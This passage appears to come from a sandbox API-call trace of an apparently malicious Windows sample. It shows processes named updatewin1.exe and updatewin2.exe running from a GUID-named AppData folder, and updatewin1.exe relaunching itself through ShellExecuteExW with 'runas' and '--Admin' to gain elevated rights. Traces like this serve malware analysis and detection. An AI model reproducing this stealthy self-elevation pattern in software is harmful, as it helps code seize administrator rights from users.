lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x1e\x66\x69\x51\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0050.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0050.560] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0050.560] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e958, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0050.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f20c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x1e\x66\x69\x51\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0050.560] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x0, Size=0x80) returned 0x4fa0d0 [0050.560] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x416cb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe")) returned 0x5f [0050.560] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0xc8) returned 0x4fc160 [0050.560] RtlInitializeSListHead (in: ListHead=0x416bd8 | out: ListHead=0x416bd8) [0050.560] GetLastError () returned 0x0 [0050.560] SetLastError (dwErrCode=0x0) [0050.560] GetEnvironmentStringsW () returned 0x4fc230* [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x0, Size=0xaca) returned 0x4fcd08 [0050.561] FreeEnvironmentStringsW (penv=0x4fc230) returned 1 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x98) returned 0x4fc230 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3e) returned 0x4fd7f8 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x6c) returned 0x4fc2d0 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x6e) returned 0x4fc348 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x78) returned 0x4e1180 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x62) returned 0x4fc3c0 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x2e) returned 0x4e52d0 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x48) returned 0x4fc430 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x28) returned 0x4fa158 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x1a) returned 0x4fbd10 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x4a) returned 0x4fc480 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x72) returned 0x4e1200 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x30) returned 0x4e5308 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x2e) returned 0x4e5340 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x1c) returned 0x4fbd38 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0xd2) returned 0x4fc4d8 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x7c) returned 0x4fc5b8 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x36) returned 0x4fc640 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3a) returned 0x4fd840 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x90) returned 0x4fc680 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x24) returned 0x4fc718 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x30) returned 0x4e5378 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x36) returned 0x4fc748 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x48) returned 0x4fc788 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x52) returned 0x4fc7d8 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c) returned 0x4fd888 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x82) returned 0x4fc838 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x2e) returned 0x4e53b0 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x1e) returned 0x4fbd60 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x2c) returned 0x4e53e8 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x54) returned 0x4fc8c8 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x52) returned 0x4fc928 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x2a) returned 0x4e5420 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c) returned 0x4fd8d0 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x54) returned 0x4fc988 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x24) returned 0x4fc9e8 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x30) returned 0x4e5458 [0050.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x8c) returned 0x4fca18 [0050.562] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x4fcd08 | out: hHeap=0x4d0000) returned 1 [0050.562] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x800) returned 0x4fcab0 [0050.562] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0050.562] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402ae4) returned 0x404e59 [0050.562] GetStartupInfoW (in: lpStartupInfo=0x18f578 | out: lpStartupInfo=0x18f578*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0050.562] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe\" " [0050.562] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe\" ", pNumArgs=0x18e580 | out: pNumArgs=0x18e580) returned 0x4fd2b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe" [0050.562] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x0, Size=0xc0) returned 0x4fd388 [0050.562] lstrcpyW (in: lpString1=0x18e5a0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe" [0050.562] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40") returned 1 [0050.562] lstrcpyW (in: lpString1=0x18eda0, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0050.562] ShellExecuteExW (in: pExecInfo=0x18e528*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18e528*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0051.927] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x4fd388 | out: hHeap=0x4d0000) returned 1 [0051.927] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0051.927] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0051.927] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x4fa0d0 | out: hHeap=0x4d0000) returned 1 [0051.928] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x4fcab0 | out: hHeap=0x4d0000) returned 1 [0051.928] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0051.928] GetLastError () returned 0x57 [0051.928] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f56c | out: phModule=0x18f56c) returned 0 [0051.928] ExitProcess (uExitCode=0x0) [0051.929] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x4fa9e8 | out: hHeap=0x4d0000) returned 1 [0051.930] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 52 os_tid = 0xb24 Thread: id = 53 os_tid = 0xb28 Thread: id = 54 os_tid = 0xb2c Thread: id = 56 os_tid = 0xb38 Process: id = "7" image_name = "updatewin2.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe" page_root = "0x302bf000" os_pid = "0xb14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xaa8" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 50 os_tid = 0xb18 [0050.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xaa7bced0, dwHighDateTime=0x1d53993)) [0050.392] GetCurrentProcessId () returned 0xb14 [0050.392] GetCurrentThreadId () returned 0xb18 [0050.392] GetTickCount () returned 0x1b5d6 [0050.392] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17067164226) returned 1 [0050.409] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0050.409] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2d0000 [0050.410] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.410] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0050.410] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0050.410] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0050.410] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0050.410] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.411] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.411] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.411] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.411] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.411] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.411] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.411] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.411] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.411] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.412] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.412] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.412] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.412] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.412] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.412] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0050.412] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x214) returned 0x2d07d0 [0050.412] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 